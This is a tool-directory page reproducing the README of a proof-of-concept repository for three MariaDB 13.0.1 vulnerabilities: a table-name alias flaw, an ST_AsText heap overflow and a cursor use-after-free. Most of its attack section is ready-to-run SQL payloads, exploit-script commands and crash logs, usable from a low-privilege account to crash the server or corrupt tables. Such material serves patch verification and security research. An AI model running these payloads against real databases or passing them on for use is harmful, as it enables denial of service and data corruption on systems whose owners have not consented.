Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
mariadb-cve-2026-92262 — PoC for CVE-2026-92262, CVE-2026-85746, CVE-2026-85748 against MariaDB 13.0.1 | Kitploit
Tools/GitHubGitHub/seandishman/mariadb-cve-2026-92262
Memory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationDatabase SecurityLabs & Practice
GitHubseandishman/mariadb-cve-2026-92262

mariadb-cve-2026-92262

Share

PoC for CVE-2026-92262, CVE-2026-85746, CVE-2026-85748 against MariaDB 13.0.1

View Repository
141 month agoNot yet reviewed

MariaDB CVE-2026-92262 / 85746 / 85748

Low-privilege SQL over the normal server port. No FILE, SUPER, or plugin load.

Target: mariadb:13.0.1-rc (13.0.1-MariaDB-ubu2604). Fixed in 13.0.2 / 12.3.3 (also 11.8.9, 11.4.13, 10.11.19, 10.6.28 for the first two).

CVECWECVSS 3.1BugProof on 13.0.1
CVE-2026-92262CWE-7069.9#mysql50# encoding / table-cache aliasINSERT into `#mysql50#t` is visible in t; files land as a-b.frm
CVE-2026-85746CWE-7879.9ST_AsText OOB write on nested GeometryCollectionfree(): invalid next size (normal) then SIGABRT
CVE-2026-85748CWE-4169.9SYS_REFCURSOR cursor-array realloc UAFSIGSEGV in Materialized_cursor::open

CVE-2026-85748 only exists on 12.3.1–12.3.2 and 13.0.1. The other two cover 10.6.1+ as well.

Crash and data-corruption PoCs. The disclosed HackerOne chain (report 3856148) turns 85748 + an ST_Area heap over-read into COOP execlp. That payload is not in this tree.

Quick start

cd server && bash start.sh
pip install -r requirements.txt
python client/exploit.py --cve 92262
python client/exploit.py --cve 85746    # kills mariadbd
# restart the container
python client/exploit.py --cve 85748    # kills mariadbd

--host / --port / --user / --password / --database override compose defaults (localhost:3306, lowpriv / lowpriv, appdb). SQL under client/sql/ is the same payloads for a mariadb CLI.

DELIMITER is a CLI meta-command. client/exploit.py sends CREATE FUNCTION / CREATE PROCEDURE as single protocol statements.

Layout

server/docker-compose.yml
server/start.sh
client/exploit.py
client/sql/cve-2026-92262.sql
client/sql/cve-2026-85746.sql
client/sql/cve-2026-85748.sql

Server

docker-compose.yml pulls mariadb:13.0.1-rc and creates database appdb plus user lowpriv / lowpriv with ALL on appdb only. Dummy lab passwords, not production secrets.

services:
  mariadb:
    image: mariadb:13.0.1-rc
    environment:
      MARIADB_ROOT_PASSWORD: root
      MARIADB_DATABASE: appdb
      MARIADB_USER: lowpriv
      MARIADB_PASSWORD: lowpriv
    ports:
      - "3306:3306"
    command: ["--core-file"]

Restart after each crashing PoC:

docker start mariadb-vuln
# or
docker compose restart

CVE-2026-92262 — #mysql50# prefix

Advisory: GHSA-65jj-h265-3m7h / MDEV-40362

MariaDB encodes table names on disk (a-b → [email protected]). The historical #mysql50# prefix skips that encoding so MySQL 5.0 names still open. The prefix is also a table-cache key collision: `#mysql50#t` and t share a share / handler.

Payload

CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
INSERT INTO t VALUES (1, REPEAT(0x41, 10));
CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES (2, 0x42);
SELECT id, HEX(c1) FROM t ORDER BY id;
CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;

Observed

BEFORE   id=1  hex=41414141414141414141
MYSQL50  id=1  hex=41
MYSQL50  id=2  hex=42
AFTER_T  id=1  hex=41414141414141414141
AFTER_T  id=2  hex=42000000000000000000

Row 2 was inserted only into `#mysql50#t`. SELECT on t returns it, truncated/padded across the two BINARY widths. The two names are one cached table.

Datadir after the MyISAM create:

a-b.frm
a-b.MYD
a-b.MYI

[email protected] is absent. Encoding was skipped.

../ in the unencoded name is rejected (ERROR 1103 Incorrect table name). The mix-up and unencoded create are enough for corruption and for writing unexpected filenames under the datadir.


CVE-2026-85746 — ST_AsText OOB write

Advisory: MDEV-40329

Gis_geometry_collection serializes WKT recursively. The output Binary_string is sized from a shallow length guess. Nested GEOMETRYCOLLECTION wrappers add GEOMETRYCOLLECTION(...) text the allocator did not reserve. qs_append writes past Alloced_length. Debug builds hit:

Binary_string::qs_append(char): Assertion `str_length + (uint32)(1) <= Alloced_length' failed

Release glibc aborts in free().

WKB

BytesMeaning
00 00 00 00SRID 0
01 07 00 00 00 01 00 00 00 × 200LE, type 7 GeometryCollection, 1 child
01 01 00 00 00 + 16 zero bytesLE Point(0,0)
SELECT ST_AsText(CONCAT(
  UNHEX('00000000'),
  REPEAT(UNHEX('010700000001000000'), 200),
  UNHEX('010100000000000000000000000000000000000000')
)) AS oops;

A shallow ST_AsText(ST_GeomFromText('POINT(1 2)')) returns POINT(1 2) on the same session first.

Observed

free(): invalid next size (normal)
mariadbd got signal 6 ;

Client: timeout / lost connection. SELECT 1 after that fails. Heap metadata is already smashed (invalid next size). SIGABRT is the allocator catching it, not a clean SQL error.


CVE-2026-85748 — SYS_REFCURSOR UAF

Advisory: MDEV-40639 / HackerOne 3856148

thd->statement_cursors is a Dynamic_array<sp_cursor_array_element> with a 16-slot default. Each SYS_REFCURSOR is stored inline. OPEN of a 17th cursor reallocates the buffer. An outer OPEN c FOR SELECT trigger_realloc() keeps a raw pointer into the old buffer. When the inner function returns, Materialized_cursor::open / sp_cursor::open dereference the stale slot.

Payload

Inner function: declare and OPEN 17 SYS_REFCURSORs, then RETURN 1.

Outer procedure:

CREATE PROCEDURE trigger_uaf()
BEGIN
  DECLARE c SYS_REFCURSOR;
  OPEN c FOR SELECT trigger_realloc();
END;
SET SESSION max_open_cursors = 100;
CALL trigger_uaf();

Needs CREATE ROUTINE on the current database (compose ALL ON appdb.* includes it). The anonymous-block form in the HackerOne writeup is the same realloc without a stored routine; the CLI delimiter splitter will chop BEGIN NOT ATOMIC unless the whole block is one protocol statement.

Observed

CALL_EXIT:137
container exit=139
mariadbd got signal 11 ;

mariadbd(Materialized_cursor::open+0x50)
mariadbd(mysql_open_cursor+0x374)
mariadbd(sp_cursor::open+0x32)
mariadbd(sp_instr_copen_by_ref::exec_core+0x2bd)
...
Query: SELECT trigger_realloc()
Writing a core file...

Exit 139 is SIGSEGV. The crashing statement is the inner SELECT trigger_realloc() still running under the outer cursor OPEN.


Run order

92262 is silent. 85746 and 85748 each take down mariadbd.

  1. bash server/start.sh
  2. python client/exploit.py --cve 92262
  3. python client/exploit.py --cve 85746
  4. Restart the container
  5. python client/exploit.py --cve 85748

Confirm 85746/85748 on the server with docker logs: invalid next size + signal 6, then later signal 11 and the Materialized_cursor::open frame.

References

  • https://github.com/MariaDB/server/security/advisories/GHSA-65jj-h265-3m7h
  • https://jira.mariadb.org/browse/MDEV-40362
  • https://jira.mariadb.org/browse/MDEV-40329
  • https://jira.mariadb.org/browse/MDEV-40639
  • https://hackerone.com/reports/3856148
  • https://github.com/MariaDB/server/commit/5c04ca5
  • https://github.com/MariaDB/server/commit/f277eefa424850a8cba5c2371406047f6395e8bb
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →